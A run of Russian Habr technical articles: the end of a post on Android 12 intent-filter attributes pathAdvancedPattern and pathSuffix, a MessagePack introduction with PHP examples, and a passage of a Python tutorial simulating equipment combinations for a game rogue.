`MATCH_ADJUSTMENT_NORMAL+MATCH_CATEGORY_HOST = 3178496`. Это значит, что ОС оценила совпадение только в категории host. В категории path совпадений нет. Погружаться дальше я не стал. Если знаете подробности, то добро пожаловать в комментарии. pathSuffix ---------- Помните про атрибут `pathPrefix`? В API 31 появился его аналог для матчинга суффиксов. Его можно использовать для URL, в которых известно окончание path: | | | | | --- | --- | --- | | `pathSuffix` | Ссылка | Пройдет фильтр? | | `end` | *scheme://host/some\_end* | Да | | *scheme://host/end* | Да | | *scheme://host/123end* | Да | | *scheme://host/somebody* | Нет | | *scheme://host/endd* | Нет | При запуске на API ниже 31 поведение схожее с `pathAdvancedPattern`: обрабатывается любой path. Выводы ------ С API 31 (Android 12.0) у разработчиков появилась возможность в использовать два новых атрибута: `pathAdvancedPattern`, `pathSuffix`.  В отличие от `pathPattern` у `pathAdvancedPattern` появились новые шаблоны для описания regex-like выражений:  * `[...]` для обозначения множества символов. Внутри квадратных скобок можно использовать - для обозначения последовательности символов и ^ для инвертирования множества. * `+` для обозначения шаблона, который может повторяться 1 и более раз. * `{...}` для обозначения количества точного количества повторений или промежутка значений. Надеюсь, что скоро появятся поддержка новых специальных символов регулярных выражений. Например: * Количество вхождений: `?` * Специальные символы: `\d`, `\D`, `\w`, `\W` * Группировка символов: `(...)`, `|` Новый атрибут `pathSuffix` похож на `pathPrefix`, но работает только для окончания path. С Android 12.0 при помощи `pathAdvancedPattern` и `pathSuffix` можно обработать ссылки, которые раньше приходилось обрабатывать только на уровне приложения. `pathAdvancedPattern` и `pathSuffix` помогут сократить количество неправильных переходов в приложение и сократить количество кода для обработки ссылок. Заявлено, что `pathAdvancedPattern` работает с API 26, но эксперименты на эмуляторе Pixel показали, что до API 31 атрибут игнорируется и intent-filter принимает любой path. Возможно, поведение будет отличаться при тестировании на реальных устройствах и устройствах с оболочками от других вендров. На моем Samsung, One UI 4.1, Android 12.0 поведение не отличалось. На этом все. Если тебе известно что-то большее, то жду в комментариях. Надеюсь, эти атрибуты сделают твой Android более приятным. С наступающим! ☃️🎄
https://habr.com/ru/post/707864/
null
ru
null
# MessagePack аналог JSON, но быстрее и меньше MessagePack это эффективный сериализатор данных в бинарное представление. ![](https://habrastorage.org/r/w1560/files/de5/7ad/bfd/de57adbfde2e4caab226f736ad53438f.png) Используя данную библиотеку вы можете обмениваться сообщениями между вашими компонентами системы подобно тому, как вы это делаете с помощью формата JSON. Интерпретация библиотеки существует для 44 языков программирования (!) Несколько простых наглядных примеров на PHP: ``` php -r 'echo strlen(json_encode(array("Hello World!")));' // 16 php -r 'echo strlen(msgpack_pack(array("Hello World!")));' // 14 ``` ``` php -r 'echo strlen(msgpack_pack(array("Hello World!", "Hello World!")));' // 27 php -r 'echo strlen(json_encode(array("Hello World!", "Hellow World!")));' // 32 ``` ``` php -r 'echo strlen(json_encode(array("Hello World!" => "Hello World!")));' // 31 php -r 'echo strlen(msgpack_pack(array("Hello World!" => "Hello World!")));' // 27 ``` На данных синтетических примерах видно, что MessagePack упаковывает данные на 15-20% эффективнее чем JSON. В нагруженном проекте обмен сообщениями между компонентами системы насчитывает 100 тысяч в день и более. Экономя 15-20% трафика вы сможете обслуживать больше сообщений на одной ноде за тот же период времени. Библиотека полностью совместима с JSON, но все же стоит знать некоторые ограничения: * Значение Integer ограничено от -(2^63) до (2^64)-1; * Значение Float представлено стандартом [IEEE 754](https://ru.wikipedia.org/wiki/IEEE_754-2008) с одинарной или двойной точностью; * Максимальная длина бинарного объекта (2^32)-1; * Максимальный размер байт строки (2^32)-1; * Строка может содержать недопустимую последовательность байтов. В этой ситуации поведение десериализатора зависит от фактической реализации, когда он получит недопустимую последовательность байтов. Из этого следует, что в каждом из языков будет свое поведение. Например, в случае, если вы распаковываете данные на PHP будет автоматически сгенерировано: Warning: [msgpack] (php\_msgpack\_unserialize) %s %d в ваш STDERR Но его можно отключить используя php.ini через флаг msgpack.error\_display=0 (по умолчанию 1); * Максимальное количество элементов в массиве может быть не больше чем (2^32)-1; * Максимальное количество элементов в ассоциативном массиве (ключ=>значение) может быть не больше чем (2^32)-1; Подробно со спецификацией упаковки данных вы можете ознакомится по адресу [github.com/msgpack/msgpack/blob/master/spec.md](https://github.com/msgpack/msgpack/blob/master/spec.md) Установка и настройка библиотеки весьма тривиальна и разработчики заботятся о том, чтобы не создавать трудности на этом этапе. Так в случае использования PHP все сводится к знакомой конструкции: ``` pecl install msgpack ``` Пример, для Python: ``` pip install u-msgpack-python //либо easy_install u-msgpack-python ``` Для Ruby: ``` gem install msgpack ``` Возраст библиотеки уже более 3 лет. Последняя актуальная версии расширения для PHP на текущий момент — 0.5.5. В ней было замечено, что кроме стандартных функций msgpack\_pack и msgpack\_unpack (которые являются алиасами к msgpack\_serialize и msgpack\_unserialize) есть ещё два undocument класса MessagePack и MessagePackUnpacker. Они имеют следующие интерфейсы: MessagePack ``` MessagePack::__construct(boolean $opt = null); // $opt - управление поведением флага php.ini msgpack.php_only внутри класса MessagePack::setOption(integer $option, boolean $value); // поддерживает только опцию MSGPACK_CLASS_OPT_PHPONLY MessagePack::pack(mixed $value); // упаковывает данные и возвращает строку MessagePack::unpack(string $str, $object = null); // распаковывает строку. Вторым параметром можно передать строку, объект, массив, который следует заполнить распакованными данными и вернуть в результате выполнения функции. MessagePack::unpacker(); // возвращает объект класса MessagePackUnpacker. Обратите внимание, что в текущей реализации библиотеки при каждом обращении создается новый экземпляр класса. ``` MessagePackUnpacker ``` MessagePackUnpacker::__construct(boolean $opt = null); // $opt - управление поведением флага php.ini msgpack.php_only внутри класса MessagePackUnpacker::__destruct(); MessagePackUnpacker::setOption(integer $option, boolean $value); // поддерживает только опцию MSGPACK_CLASS_OPT_PHPONLY MessagePackUnpacker::feed(string $str); // Добавляет указанную строку к общему буферу. Возвращает true либо false. MessagePackUnpacker::execute(string $str = null, integer &$offset = null); // Распаковывает данные. Возвращает true либо false. MessagePackUnpacker::data(mixed $object = null); // В случае, если данные не были распакованы через метод execute возвращает false. В случае, если данные были распакованы и не был передан параметр $object - возвращает распакованную строку и вызывает метод reset. В случае, если данные были распакованы и был передан параметр $object работает по принципу MessagePack::unpack и вызывает метод reset. MessagePackUnpacker::reset(); // очищает текущий буфер; ``` Официальный сайт разработчиков [msgpack.org](http://msgpack.org/) P.S.: к разработчикам библиотеки не отношусь. Использую её в работе 4 месяца.
https://habr.com/ru/post/251177/
null
ru
null
# Как на Python подобрать экипировку для игрового перса Учимся находить лучшее для своего разбойника при помощи программирования. Также разбираемся, не водит ли нас программа «за нос». ![image](https://habrastorage.org/r/w1560/webt/w7/x1/va/w7x1vaurpxvsovlu61g5smq7mzc.png) **Цель:** научиться поэтапно моделировать нужную часть механики игры в «пробирке», получать нужные данные и делать выводы из них. **Что нужно:** Python 3, среда для работы с кодом (у меня PyCharm). В играх многие люди хотят выжать максимум из своих персонажей, а для этого нужно выбрать наиболее оптимальное сочетание экипировки, которой часто бывает много. Попробуем написать свой алгоритм для тестов различных сочетаний экипировки и сбора полученных данных. Изначально я вдохновился игрой «World of Warcraft: Classic» (иконки взял [оттуда](https://ru.classic.wowhead.com/)), но в процессе сделал некоторые упрощения. Ссылка на весь проект в конце статьи. ЭТАП 1 — оцениваем область поиска --------------------------------- Допустим, у нас есть персонаж класса Разбойник (Rogue). Нужно подобрать ему экипировку, в которой он будет наносить максимальный урон противнику. Нас интересуют вещи для слотов «оружие в правой руке» (4 шт.), «оружие в левой руке» (4 шт.), «перчатки» (2 шт.), «голова» (3 шт.), «грудь» (3 шт.), «ноги» (3 шт.), «ступни» (2 шт.). Будем надевать их различные комбинации на персонажа и симулировать бой. И если применить идею полного перебора (с чего мы и начнём), для оценки всех комбинаций придётся провести как минимум 4 \* 4 \* 2 \* 3 \* 3 \* 3 \* 2 = **1728** боёв. Для более точной оценки лучших комбинаций нужно будет провести дополнительные бои. Итак, уже на этом этапе схему проекта можем представить так: ![image](https://habrastorage.org/r/w1560/webt/y5/nj/qd/y5njqdx3sswkgaadzfqzxr2x8-4.png) ЭТАП 2 — анализируем игровую механику ------------------------------------- Начнём с персонажа. У него есть такие характеристики, влияющие на наносимый урон и друг на друга: 1. **сила атаки** — конвертируется напрямую в урон, наносимый обычным ударом (1 к 1). Рассчитывается по формуле: очки силы атаки + очки силы + очки ловкости 2. **сила** — +1 к силе атаки и всё (что поделать, таков геймдизайн) 3. **ловкость** — +1 к силе атаки, а также каждые 20 единиц ловкости добавляют 1% критического шанса 4. **крит. шанс** — шанс нанесения двойного урона, если удар не скользящий и не промах 5. **меткость** — повышение шанса попасть по противнику 6. **мастерство** — каждая единица мастерства снижает на 4% вероятность скользящего удара (которая изначально равна 40%, что означает, что 10 единиц мастерства полностью исключат вероятность скользящих ударов) На схеме ниже показаны базовые значения для нашего разбойника и как надевание предмета экипировки изменяет их: ![image](https://habrastorage.org/r/w1560/webt/b_/uk/ln/b_uklnhezlo6c095bo9scextmzm.png) Итак, пришло время начать писать код. Опишем то, что нам уже известно, в классе Rogue. Метод ***set\_stats\_without\_equip*** будет восстанавливать состояние персонажа без экипировки, что пригодится при смене подборок. Методы ***calculate\_critical\_percent*** и ***calculate\_glancing\_percent*** в будущем будут вызываться лишь при необходимости, обновляя значения специфических характеристик. **первые строки класса** ``` class Rogue: """Класс описывает механику тестируемого персонажа.""" def __init__(self): # БАЗОВЫЕ значения характеристик (они - точка отсчёта при смене экипировки): self.basic_stat_agility = 50 self.basic_stat_power = 40 self.basic_stat_hit = 80 self.basic_stat_crit = 20 self.basic_stat_mastery = 0 # рассчитать текущие характеристики без вещей: self.set_stats_without_equip() # метод для расчёта текущих характеристик без вещей: def set_stats_without_equip(self): self.stat_agility = self.basic_stat_agility self.stat_power = self.basic_stat_power self.stat_attackpower = self.stat_agility + self.stat_power self.stat_hit = self.basic_stat_hit self.direct_crit_bonus = 0 self.calculate_critical_percent() self.stat_mastery = self.basic_stat_mastery self.calculate_glancing_percent() # метод для расчёта шанса критического удара: def calculate_critical_percent(self): self.stat_crit = self.basic_stat_crit + self.direct_crit_bonus + self.stat_agility // 20 # метод для расчёта шанса скользящего удара: def calculate_glancing_percent(self): self.stat_glancing_percent = 40 - self.stat_mastery * 4 ``` Теперь нужно разобраться с экипировкой. Чтоб удобно перебирать все вещи, создавая их комбинации, решил для каждого типа экипировки создать отдельный словарь-константу: RIGHT\_HANDS, LEFT\_HANDS, GLOVES, HEADS, CHESTS, PANTS, BOOTS. В качестве значений в словарях хранятся такие кортежи: ![image](https://habrastorage.org/r/w1560/webt/wk/1r/3z/wk1r3zdn1_ovtwrtlxzttyc1tb4.png) Создадим отдельный файл для словарей с экипировкой. У меня таких файлов несколько с разными наборами. **абстрактная экипировка для тестов** ``` # Каждый элемент содержит кортеж, в котором значения означают следующее: # 0 - название, 1 - атака, 2 - ловкость, 3 - сила, 4 - меткость, 5 - крит, 6 - мастерство EQUIPMENT_COLLECTION = 'custom' RIGHT_HANDS = dict() RIGHT_HANDS[1] = ('Праворучный Страж Лесов', 50, 3, 0, 0, 0, 0) RIGHT_HANDS[2] = ('Меч Ловкача', 40, 22, 0, 0, 0, 0) RIGHT_HANDS[3] = ('Меч Точности', 40, 0, 0, 3, 0, 0) RIGHT_HANDS[4] = ('Меч Мастера', 40, 0, 0, 0, 0, 5) LEFT_HANDS = dict() LEFT_HANDS[1] = ('Леворучный Страж Лесов', 35, 3, 0, 0, 0, 0) LEFT_HANDS[2] = ('Меч Ловкача', 40, 22, 0, 0, 0, 0) LEFT_HANDS[3] = ('Меч Точности', 40, 0, 0, 3, 0, 0) LEFT_HANDS[4] = ('Меч Мастера', 40, 0, 0, 0, 0, 5) GLOVES = dict() GLOVES[1] = ('Перчатки Прыткости', 0, 12, 0, 2, 0, 0) GLOVES[2] = ('Перчатки Всестороннести', 2, 2, 2, 1, 1, 0) HEADS = dict() HEADS[1] = ('Капюшон Ловкача', 0, 22, 0, 0, 0, 0) HEADS[2] = ('Капюшон Жестокости', 0, 0, 0, 0, 2, 0) HEADS[3] = ('Капюшон Концентрации', 0, 0, 0, 2, 0, 0) CHESTS = dict() CHESTS[1] = ('Мундир Ловкача', 0, 30, 0, 0, 0, 0) CHESTS[2] = ('Мундир Жестокости', 0, 0, 0, 0, 3, 0) CHESTS[3] = ('Мундир Концентрации', 0, 0, 0, 3, 0, 0) PANTS = dict() PANTS[1] = ('Поножи Ловкача', 0, 24, 0, 0, 0, 0) PANTS[2] = ('Поножи Жестокости', 0, 0, 0, 0, 2, 0) PANTS[3] = ('Поножи Концентрации', 0, 0, 0, 2, 0, 0) BOOTS = dict() BOOTS[1] = ('Сапоги Кровавой мести', 14, 0, 5, 0, 1, 0) BOOTS[2] = ('Сапоги Тишины', 0, 18, 0, 1, 0, 0) ``` **экипировка из World of Warcraft** ``` # Каждый элемент содержит кортеж, в котором значения означают следующее: # 0 - название, 1 - атака, 2 - ловкость, 3 - сила, 4 - меткость, 5 - крит, 6 - мастерство EQUIPMENT_COLLECTION = "wow_classic_preraid" RIGHT_HANDS = dict() RIGHT_HANDS[1] = ('Священный заряд Дал\'Ренда', 81, 0, 4, 0, 1, 0) RIGHT_HANDS[2] = ('Искатель сердец', 49, 0, 4, 0, 1, 0) RIGHT_HANDS[3] = ('Песня Мираха', 57, 9, 9, 0, 0, 0) LEFT_HANDS = dict() LEFT_HANDS[1] = ('Племенной страж Дал\'Ренда', 52, 0, 0, 0, 0, 0) LEFT_HANDS[2] = ('Искатель сердец', 49, 0, 4, 0, 1, 0) LEFT_HANDS[3] = ('Песня Мираха', 57, 9, 9, 0, 0, 0) GLOVES = dict() GLOVES[1] = ('Рукавицы девизавра', 28, 0, 0, 0, 1, 0) GLOVES[2] = ('Костяные когти Скула', 40, 0, 0, 0, 0, 0) HEADS = dict() HEADS[1] = ('Маска непрощённых', 0, 0, 0, 2, 1, 0) HEADS[2] = ('Глаз Ренда', 0, 0, 13, 0, 2, 0) HEADS[3] = ('Личина Ликана', 32, 0, 8, 0, 0, 0) HEADS[4] = ('Призрачный покров', 0, 19, 12, 0, 0, 0) CHESTS = dict() CHESTS[1] = ('Трупная броня', 60, 8, 8, 0, 0, 0) CHESTS[2] = ('Мундир Объятий ночи', 50, 5, 0, 0, 0, 0) CHESTS[3] = ('Мундир бармена', 0, 11, 18, 0, 0, 0) PANTS = dict() PANTS[1] = ('Поножи девизавра', 46, 0, 0, 0, 1, 0) PANTS[2] = ('Поножи Мастера клинка', 0, 5, 0, 1, 1, 0) BOOTS = dict() BOOTS[1] = ('Сапоги скорохода', 0, 21, 4, 0, 0, 0) BOOTS[2] = ('Лапы Жуткого волка', 40, 0, 0, 0, 0, 0) BOOTS[3] = ('Мангустовые сапоги', 0, 23, 0, 0, 0, 0) ``` **добавим в конструктор класса Rogue строки по эквипу** ``` ... # инициализация списка слотов экипировки, который должен содержать id надетых предметов: # 0 - правая рука, 1 - левая рука, 2 - перчатки, 3 - голова, 4 - грудь, 5 - штаны, 6 - обувь self.equipment_slots = [0] * 7 # инициализация списка слотов экипировки, который должен содержать названия надетых предметов: self.equipment_names = ['ничего'] * 7 ``` Также добавим в наш класс методы ***wear\_item*** (расчёт характеристик при надевании вещи) и ***unwear\_all*** (снять все вещи). **методы класса, отвечающие за работу с экипировкой** ``` ... # метод для "снятия всей экипировки": def unwear_all(self): # сбросить id и названия экипировки на слотах персонажа: for i in range(0, len(self.equipment_slots) ): self.equipment_slots[i] = 0 self.equipment_names[i] = 'ничего' self.set_stats_without_equip() # метод для надевания экипировки: def wear_item(self, slot, item_id, items_list): # в слоте не должно быть экипировки, иначе пришлось бы снять её и отнять характеристики, которые она дала: if self.equipment_slots[slot] == 0: self.equipment_slots[slot] = item_id self.equipment_names[slot] = items_list[item_id][0] self.stat_agility += items_list[item_id][2] self.stat_power += items_list[item_id][3] # не забываем, что к силе атаки нужно добавить бонусы также от силы и ловкости: self.stat_attackpower += items_list[item_id][1] + items_list[item_id][2] + items_list[item_id][3] self.stat_hit += items_list[item_id][4] self.direct_crit_bonus += items_list[item_id][5] self.stat_mastery += items_list[item_id][6] # если была добавлена ловкость ИЛИ прямой бонус к крит. шансу, пересчитать общий крит. шанс: if items_list[item_id][2] != 0 or items_list[item_id][5] != 0: self.calculate_critical_percent() # если было добавлено мастерство, пересчитать вероятность скользящего удара: if items_list[item_id][6] != 0: self.calculate_glancing_percent() ``` Также сам факт сочетания некоторых вещей даёт дополнительные бонусы (в «World of Warcraft» это известно как «сет-бонус»). В моём абстрактном наборе такой бонус даётся от одновременного надевания мечей «Праворучный Страж Лесов» и «Леворучный Страж Лесов». Добавим это в код метода ***wear\_item***: **сет-бонусы в методе wear\_item** ``` ... # особый случай для набора экипировки "custom": if EQUIPMENT_COLLECTION == 'custom': # если в левую руку взят "Леворучный Страж Лесов" (id 1 для слота "левая рука"), а в правую взят "Праворучный Страж Лесов" (id 1 для слота "правая рука"), добавить дополнительно 2 к крит. шансу: if slot == 1: if self.equipment_slots[1] == 1 and self.equipment_slots[0] == 1: self.direct_crit_bonus += 2 self.calculate_critical_percent() print('Дары Лесов вместе...') ``` Теперь нашего разбойника нужно научить драться. Боем мы будем считать серию из 1000 ударов по противнику, который стоит к нам спиной и занят чем-то другим (типичная ситуация для «World of Warcraft»). Каждый удар, независимо от предшествующих, может быть: * **обычный** — стандартный урон, в нашей модели эквивалентный характеристике «сила атаки» персонажа * **скользящий** — 70% урона от обычного * **критический** — двойной урон от обычного * **промах** — 0 урона Это будет определяться чередой проверок по такой схеме: ![image](https://habrastorage.org/r/w1560/webt/7m/tr/bg/7mtrbgwb8yoi5loosr9fwn8eqny.png) И для разбойника с базовыми значениями эта схема приобретает вид: ![image](https://habrastorage.org/r/w1560/webt/-q/ha/dr/-qhadrqxtuy5bom3dkhkvvh3lta.png) Запрограммируем эту механику, добавив метод ***do\_attack*** в код нашего класса. Возвращать он будет кортеж из двух чисел: (исход атаки, нанесённый урон). **код для совершения атаки** ``` ... # метод для проведения атаки: def do_attack(self): # попадание или промах: event_hit = randint(1, 100) # если промах: if event_hit > self.stat_hit: return 0, 0 # если попадание: else: # скользящий ли удар: event_glancing = randint(1, 100) # если больше или равно, тогда это скользящий удар, # ведь когда у персонажа будет 10 очков "мастерства", тогда stat_glancing_percent будет равно 0, # и возможность таких ударов будет исключена if event_glancing <= self.stat_glancing_percent: damage = floor(self.stat_attackpower * 0.7) return 1, damage # если удар НЕ скользящий: else: # критический ли удар: event_crit = randint(1, 100) # если удар НЕ критический: if event_crit > self.stat_crit: damage = self.stat_attackpower return 2, damage # если удар критический: else: damage = self.stat_attackpower * 2 return 3, damage ``` Добьёмся удобного отображения текущего состояния разбойника, чтобы в любой момент можно было проверить, что с ним происходит: **переопределяем магический метод \_\_str\_\_** ``` ... # переопределяем "магический метод" для демонстрации текущего состояния персонажа: def __str__(self): # выписать в строку названия надетых предметов: using_equipment_names = '' for i in range(0, len(self.equipment_names) - 1 ): using_equipment_names += self.equipment_names[i] + '", "' using_equipment_names = '"' + using_equipment_names + self.equipment_names[-1] + '"' # удобочитаемый текст: description = 'Разбойник 60 уровня\n' description += using_equipment_names + '\n' description += 'сила атаки: ' + str(self.stat_attackpower) + ' ед.\n' description += 'ловкость: ' + str(self.stat_agility) + ' ед.\n' description += 'сила: ' + str(self.stat_power) + ' ед.\n' description += 'меткость: ' + str(self.stat_hit) + '%\n' description += 'крит. шанс: ' + str(self.stat_crit) + '%\n' description += 'мастерство: ' + str(self.stat_mastery) + ' ед.\n' description += 'шанс скольз. уд.: ' + str(self.stat_glancing_percent) + '%\n' return description ``` ЭТАП 3 — подготовка к запуску ----------------------------- Теперь пора написать код, который обеспечит проведение боёв для всех возможных подборок экипировки. Для этого я последовательно вызываю функции по такой схеме: ![image](https://habrastorage.org/r/w1560/webt/s2/vu/to/s2vutoqapwumtqcjqgzmiryezma.png) 1. **run\_session** — здесь реализованы вложенные циклы, перебирающие все требуемые словари с вещами и вызывающие для каждой комбинации следующую функцию; в конце будет сформирован текст отчёта и сохранён в лог сессии 2. **test\_combination** — сбрасываются все ранее надетые вещи и раз за разом вызывается метод wear\_item, облачая персонажа в новый «прикид», после чего вызывается следующая функция 3. **simulate\_fight** — 1000 раз вызывается тот самый метод do\_attack, ведётся учёт получаемых данных, при необходимости ведётся детальный лог для каждого боя **функции run\_session, test\_combination, simulate\_fight** ``` # провести сессию тестов набора экипировки: def run_session(SESSION_LOG): # счётчик боёв: fight_number = 1 # здесь будут накапливаться отчёты: all_fight_data = '' # для каждого оружия в правой руке: for new_righthand_id in RIGHT_HANDS: # для каждого оружия в левой руке: for new_lefthand_id in LEFT_HANDS: # для каждых перчаток: for new_gloves_id in GLOVES: # для каждого шлема: for new_head_id in HEADS: # для каждого нагрудника: for new_chest_id in CHESTS: # для каждых штанов: for new_pants_id in PANTS: # для каждой обуви: for new_boots_id in BOOTS: new_fight_data = test_combination(fight_number, new_righthand_id, new_lefthand_id, new_gloves_id, new_head_id, new_chest_id, new_pants_id, new_boots_id ) all_fight_data += new_fight_data fight_number += 1 # записать отчёты о всех боях этого сеанса: save_data_to_file(SESSION_LOG, all_fight_data) # подготовка к следующему бою и его запуск: def test_combination(fight_number, righthand_id, lefthand_id, gloves_id, head_id, chest_id, pants_id, boots_id): # сбросить все вещи: my_rogue.unwear_all() # взять оружие в правую руку: my_rogue.wear_item(0, righthand_id, RIGHT_HANDS) # взять оружие в левую руку: my_rogue.wear_item(1, lefthand_id, LEFT_HANDS) # надеть перчатки: my_rogue.wear_item(2, gloves_id, GLOVES) # надеть наголовник: my_rogue.wear_item(3, head_id, HEADS) # надеть нагрудник: my_rogue.wear_item(4, chest_id, CHESTS) # надеть поножи: my_rogue.wear_item(5, pants_id, PANTS) # надеть обувь: my_rogue.wear_item(6, boots_id, BOOTS) # выписать в строку "профайл" эквипа: equipment_profile = str(righthand_id) + ',' + str(lefthand_id) + ',' + str(gloves_id) + \ ',' + str(head_id) + ',' + str(chest_id) + ',' + str(pants_id) + \ ',' + str(boots_id) print(my_rogue) print('equipment_profile =', equipment_profile) # запуск боя с возвратом отчёта о её результатах: return simulate_fight(equipment_profile, fight_number) # симулировать бой, где будет нанесено attacks_total ударов по цели: def simulate_fight(equipment_profile, fight_number): global LOG_EVERY_FIGHT # счётчики для статистики: sum_of_attack_types = [0, 0, 0, 0] sum_of_damage = 0 # если нужно, подготовиться к ведению лога боя: if LOG_EVERY_FIGHT: fight_log = '' verdicts = { 0: 'пром.', 1: 'скол.', 2: 'обыч.', 3: 'крит.' } attacks = 0 global ATTACKS_IN_FIGHT # вести бой, пока не будет достигнут максимум ударов: while attacks < ATTACKS_IN_FIGHT: # рассчитать кол-во урона: damage_info = my_rogue.do_attack() # счётчик нанесенного урона: sum_of_damage += damage_info[1] # счётчик типов атак: sum_of_attack_types[ damage_info[0] ] += 1 attacks += 1 # если нужно, вести лог боя: if LOG_EVERY_FIGHT: fight_log += verdicts[ damage_info[0] ] + ' ' + str(damage_info[1]) + ' ' + str(sum_of_damage) + '\n' # если нужно, сохранить лог: if LOG_EVERY_FIGHT: # название файла: filename = 'fight_logs/log ' + str(fight_number) + '.txt' save_data_to_file(filename, fight_log) # подготовка всех данных для сохранения в строку: attacks_statistic = ','.join(map(str, sum_of_attack_types)) fight_data = '#' + str(fight_number) + '/' + equipment_profile + '/' + str(sum_of_damage) + ',' + attacks_statistic + '\n' return fight_data ``` Для сохранения логов использую две простенькие функции: **функции save\_data, add\_data** ``` # записать результаты в указанный файл: def save_data_to_file(filename, data): with open(filename, 'w', encoding='utf8') as f: print(data, file=f) # добавить строки в указанный файл: def append_data_to_file(filename, data): with open(filename, 'a+', encoding='utf8') as f: print(data, file=f) ``` Итак, теперь осталось написать несколько строк, чтобы запустить сессию и сохранить её результаты. Также импортируем необходимые стандартные модули Python. Именно здесь можно определить, какой набор экипировки будет тестироваться. Для фанатов «World of Warcraft» я подобрал экипировку оттуда, но помните, что этот проект — лишь приближённая реконструкция механик оттуда. **код, запускающий программу** ``` # для расчёта вероятностей различных событий: from random import randint # все неровности будут округляться вниз: from math import floor # для работы со временем: from datetime import datetime from time import time # импортировать другие файлы проекта: from operations_with_files import * # импортировать необходимый набор словарей с экипировкой: from equipment_custom import * #from equipment_wow_classic import * #from equipment_obvious_strong import * #from equipment_obvious_weak import * # ЗАПУСК: if __name__ == "__main__": # из скольки ударов состоит бой: ATTACKS_IN_FIGHT = 1000 # логировать ли каждый отдельный бой: LOG_EVERY_FIGHT = False # сгенерировать название лога тестовой сессии: SESSION_LOG = 'session_logs/for ' + EQUIPMENT_COLLECTION + ' results ' + datetime.strftime(datetime.now(), '%Y-%m-%d_%H-%M-%S') + '.txt' print('SESSION_LOG =', SESSION_LOG) # создать персонажа: my_rogue = Rogue() # засечь время: time_begin = time() # запустить тестовую сессию: run_session(SESSION_LOG) # вычислить затраченное время: time_session = time() - time_begin duration_info = 'сессия длилась: ' + str( round(time_session, 2) ) + ' сек.' print('\n' + duration_info) append_data_to_file(SESSION_LOG, duration_info + '\n') # проанализировать сессию, с выводом 5 самых лучших сочетаний экипировки: top_sets_info = show_best_sets(SESSION_LOG, 5) # записать отчёт о лучших результатах в тот же общий файл: append_data_to_file(SESSION_LOG, top_sets_info) else: print('__name__ is not "__main__".') ``` На сессию из 1728 боёв у меня на ноутбуке уходит 5 секунд. Если установить LOG\_EVERY\_FIGHT = True, то в папке «fight\_logs» будут появляться файлы с данными по каждому бою, но на сессию уже будет уходить 9 секунд. В любом случае в папке «session\_logs» появится общий лог сессии: **первые 10 строк лога** ``` #1/1,1,1,1,1,1,1/256932,170,324,346,160 #2/1,1,1,1,1,1,2/241339,186,350,331,133 #3/1,1,1,1,1,2,1/221632,191,325,355,129 #4/1,1,1,1,1,2,2/225359,183,320,361,136 #5/1,1,1,1,1,3,1/243872,122,344,384,150 #6/1,1,1,1,1,3,2/243398,114,348,394,144 #7/1,1,1,1,2,1,1/225342,170,336,349,145 #8/1,1,1,1,2,1,2/226414,173,346,322,159 #9/1,1,1,1,2,2,1/207862,172,322,348,158 #10/1,1,1,1,2,2,2/203492,186,335,319,160 ``` Как видим, мало просто провести сессию, нужно ещё из сотен строк извлечь информацию о тех сочетаниях вещей, которые привели к наилучшим результатам. Для этого напишем ещё две функции. Общая идея в том, чтобы открыть полученный лог, создать список сумм урона по каждому бою, сортировать его и, например, для 5 наилучших ситуаций выписать названия используемых вещей. **функции для определения топ-экипировки** ``` # вывести указанное количество комбинаций с максимальным уроном: def show_best_sets(SESSION_LOG, number_of_sets): # список для хранения всех результатов боя: list_log = list() # прочитать строки лога, выписав из них в список list_log кортежи, # содержащие сумму нанесённого урона и используемый для этого профиль экипировки: with open(SESSION_LOG, 'r', encoding='utf8') as f: lines = f.readlines() for line in lines: try: list_line = line.split('/') list_fight = list_line[2].split(',') list_log.append( ( int(list_fight[0]), list_line[1].split(',') ) ) except IndexError: break # сортировать список, чтобы лучшие результаты оказались в начале: list_log.sort(reverse=True) # сформировать удобочитаемый отчёт, перебрав number_of_sets кейсов в списке лучших результатов: top_sets_info = '' for i in range(0, number_of_sets): current_case = list_log[i] # перебрать список идентификаторов экипировки в текущем кейсе и выписать их названия: clear_report = '' equipment_names = '' equip_group = 1 for equip_id in current_case[1]: equipment_names += '\n' + get_equip_name(equip_id, equip_group) equip_group += 1 line_for_clear_report = '\n#' + str(i+1) + ' - ' + str(current_case[0]) + ' урона нанесено с:' + equipment_names clear_report += line_for_clear_report print('\n', clear_report) top_sets_info += clear_report + '\r' return top_sets_info # вывести название экипировки по id: def get_equip_name(equip_id, equip_group): equip_id = int(equip_id) if equip_group == 1: return RIGHT_HANDS[equip_id][0] if equip_group == 2: return LEFT_HANDS[equip_id][0] if equip_group == 3: return GLOVES[equip_id][0] if equip_group == 4: return HEADS[equip_id][0] if equip_group == 5: return CHESTS[equip_id][0] if equip_group == 6: return PANTS[equip_id][0] if equip_group == 7: return BOOTS[equip_id][0] ``` Теперь в конце лога появляются строки с 5 подборками, показавшими наилучший результат: **наконец удобочитаемые строки лога** ``` сессия длилась: 4.89 сек. #1 - 293959 урона нанесено с: Меч Ловкача Меч Мастера Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Кровавой мести #2 - 293102 урона нанесено с: Меч Ловкача Меч Мастера Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Тишины #3 - 290573 урона нанесено с: Меч Мастера Меч Мастера Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Кровавой мести #4 - 287592 урона нанесено с: Меч Мастера Меч Мастера Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Тишины #5 - 284929 урона нанесено с: Меч Ловкача Меч Мастера Перчатки Всестороннести Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Кровавой мести ``` ЭТАП 4 — оцениваем устойчивость результатов ------------------------------------------- Важно помнить, что в этом проекте есть элементы случайности: при определении типа удара с задействованием функции ***randint***. Неоднократно проводя тесты, я заметил, что при повторении сессий с одними и теми же входными данными топ-5 подборок может различаться. Это не очень обрадовало, и взялся решать проблему. Сначала сделал тестовый набор экипировки «obvious\_strong», где и без тестов очевидно, какие подборки вещей здесь лучшие: **смотреть набор obvious\_strong** ``` EQUIPMENT_COLLECTION = 'obvious_strong' RIGHT_HANDS = dict() RIGHT_HANDS[1] = ('Сильнейший меч', 5000, 0, 0, 0, 0, 0) RIGHT_HANDS[2] = ('Средний меч', 800, 0, 0, 0, 0, 0) RIGHT_HANDS[3] = ('Наихудший меч', 20, 0, 0, 0, 0, 0) LEFT_HANDS = dict() LEFT_HANDS[1] = ('Сильнейший кинжал', 4000, 0, 0, 0, 0, 0) 